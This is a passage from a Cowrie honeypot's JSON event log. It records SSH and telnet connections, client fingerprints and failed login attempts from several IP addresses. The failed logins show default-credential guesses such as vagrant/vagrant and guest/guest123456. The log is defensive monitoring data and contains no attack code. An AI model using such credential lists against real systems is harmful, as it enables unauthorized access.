-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:07.930662Z","src_ip":"172.185.24.228","session":"517ae0341f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.5755832195282,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:08.021907Z","src_ip":"62.210.97.77","session":"c28d9a548db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75086236000061,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:08.143581Z","src_ip":"62.210.97.77","session":"0d9592cae290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42142,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9da6f8dc23e","protocol":"telnet","message":"New connection: 62.210.97.77:42142 (10.17.0.5:23) [session: b9da6f8dc23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:08.261537Z"}
{"eventid":"cowrie.session.closed","duration":48.2550003528595,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:08.517688Z","src_ip":"65.60.27.33","session":"b35fa1d4ef0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907477855682373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:08.552633Z","src_ip":"136.144.139.78","session":"260a157ed9e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34640,"dst_ip":"10.17.0.5","dst_port":22,"session":"e36453315005","protocol":"ssh","message":"New connection: 176.65.132.254:34640 (10.17.0.5:22) [session: e36453315005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:08.969010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:08.973710Z","src_ip":"176.65.132.254","session":"e36453315005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:09.058708Z","src_ip":"176.65.132.254","session":"e36453315005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:09.342495Z","src_ip":"176.65.132.254","session":"e36453315005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.0756254196167,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:09.347147Z","src_ip":"134.209.8.29","session":"e2dc7a473a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2533962726593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:10.282910Z","src_ip":"136.144.139.78","session":"f3c393c4ce86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:10.447124Z","src_ip":"176.65.132.254","session":"e36453315005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.390055418014526,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:10.666211Z","src_ip":"62.210.97.77","session":"fe2b6eb87063","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123456","message":"login attempt [guest/guest123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:11.050217Z","src_ip":"172.185.24.228","session":"517ae0341f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60080,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b943f3e9835","protocol":"telnet","message":"New connection: 134.209.8.29:60080 (159.203.135.109:23) [session: 1b943f3e9835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:11.291987Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":33584,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ff38147648b","protocol":"telnet","message":"New connection: 136.144.139.78:33584 (159.203.135.109:23) [session: 9ff38147648b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:11.865057Z"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:12.364752Z","src_ip":"172.185.24.228","session":"517ae0341f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56740,"dst_ip":"10.17.0.5","dst_port":22,"session":"469f967c1618","protocol":"ssh","message":"New connection: 176.65.132.254:56740 (10.17.0.5:22) [session: 469f967c1618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:13.044554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:13.183548Z","src_ip":"176.65.132.254","session":"469f967c1618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:13.191117Z","src_ip":"176.65.132.254","session":"469f967c1618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d869ccb98027","protocol":"telnet","message":"New connection: 62.210.97.77:47502 (10.17.0.5:23) [session: d869ccb98027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:13.423342Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:13.540127Z","src_ip":"176.65.132.254","session":"469f967c1618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:14.645281Z","src_ip":"176.65.132.254","session":"469f967c1618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"2243bfa8b0d9","protocol":"telnet","message":"New connection: 62.210.97.77:47508 (10.17.0.5:23) [session: 2243bfa8b0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:14.658853Z"}
{"eventid":"cowrie.session.closed","duration":47.83067870140076,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:15.824287Z","src_ip":"65.60.27.33","session":"a1a0a3967b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0466742515564,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:15.890580Z","src_ip":"62.210.97.77","session":"18cab8f61365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.29701781272888,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:16.410515Z","src_ip":"62.210.97.77","session":"ed6e311e3a42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38444,"dst_ip":"10.17.0.5","dst_port":23,"session":"edcc214ef577","protocol":"telnet","message":"New connection: 65.60.27.33:38444 (10.17.0.5:23) [session: edcc214ef577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:16.464549Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56742,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5465c16bc76","protocol":"ssh","message":"New connection: 176.65.132.254:56742 (10.17.0.5:22) [session: d5465c16bc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:17.150798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:17.155866Z","src_ip":"176.65.132.254","session":"d5465c16bc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:17.258953Z","src_ip":"176.65.132.254","session":"d5465c16bc76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:17.519231Z","src_ip":"176.65.132.254","session":"d5465c16bc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":39090,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aeef906be51","protocol":"ssh","message":"New connection: 103.189.235.176:39090 (159.203.135.109:22) [session: 0aeef906be51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:17.867416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:17.871750Z","src_ip":"103.189.235.176","session":"0aeef906be51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47522,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e34918105d1","protocol":"telnet","message":"New connection: 62.210.97.77:47522 (10.17.0.5:23) [session: 7e34918105d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:17.980437Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:18.111940Z","src_ip":"103.189.235.176","session":"0aeef906be51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:18.663388Z","src_ip":"176.65.132.254","session":"d5465c16bc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.457520008087158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:20.482505Z","src_ip":"136.144.139.78","session":"ddc4f4400e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42140483856201,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:21.214171Z","src_ip":"62.210.97.77","session":"3d66ea089ee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50390,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa7618fa486","protocol":"telnet","message":"New connection: 62.210.97.77:50390 (10.17.0.5:23) [session: 8aa7618fa486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:21.338888Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56746,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecee34cd7af9","protocol":"ssh","message":"New connection: 176.65.132.254:56746 (10.17.0.5:22) [session: ecee34cd7af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:21.345753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:21.350365Z","src_ip":"176.65.132.254","session":"ecee34cd7af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":50852,"dst_ip":"159.203.135.109","dst_port":23,"session":"92fbafca0fa7","protocol":"telnet","message":"New connection: 136.144.139.78:50852 (159.203.135.109:23) [session: 92fbafca0fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:21.393437Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:21.441084Z","src_ip":"176.65.132.254","session":"ecee34cd7af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:21.688006Z","src_ip":"176.65.132.254","session":"ecee34cd7af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.03990888595581,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:22.112473Z","src_ip":"62.210.97.77","session":"d5249c66b02c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.258741855621338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:22.148900Z","src_ip":"136.144.139.78","session":"383e6e3dc23f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":50854,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7843d1af554","protocol":"telnet","message":"New connection: 136.144.139.78:50854 (159.203.135.109:23) [session: f7843d1af554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:22.293619Z"}
{"eventid":"cowrie.session.closed","duration":36.02774429321289,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:22.343060Z","src_ip":"62.210.97.77","session":"28e579e4abb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50394,"dst_ip":"10.17.0.5","dst_port":23,"session":"574bf5991341","protocol":"telnet","message":"New connection: 62.210.97.77:50394 (10.17.0.5:23) [session: 574bf5991341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:22.387842Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:22.773365Z","src_ip":"176.65.132.254","session":"ecee34cd7af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:24.638911Z","src_ip":"103.189.235.176","session":"0aeef906be51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48122,"dst_ip":"10.17.0.5","dst_port":23,"session":"d82798607266","protocol":"telnet","message":"New connection: 65.60.27.33:48122 (10.17.0.5:23) [session: d82798607266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:24.923431Z"}
{"eventid":"cowrie.session.closed","duration":37.37347936630249,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:25.129576Z","src_ip":"65.60.27.33","session":"04cf19862d33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":58856,"dst_ip":"159.203.135.109","dst_port":23,"session":"20e824f099ef","protocol":"telnet","message":"New connection: 136.144.139.78:58856 (159.203.135.109:23) [session: 20e824f099ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:25.248704Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54070,"dst_ip":"10.17.0.5","dst_port":22,"session":"66b595e68fe3","protocol":"ssh","message":"New connection: 176.65.132.254:54070 (10.17.0.5:22) [session: 66b595e68fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:25.366804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:25.372223Z","src_ip":"176.65.132.254","session":"66b595e68fe3","protocol":"ssh"}
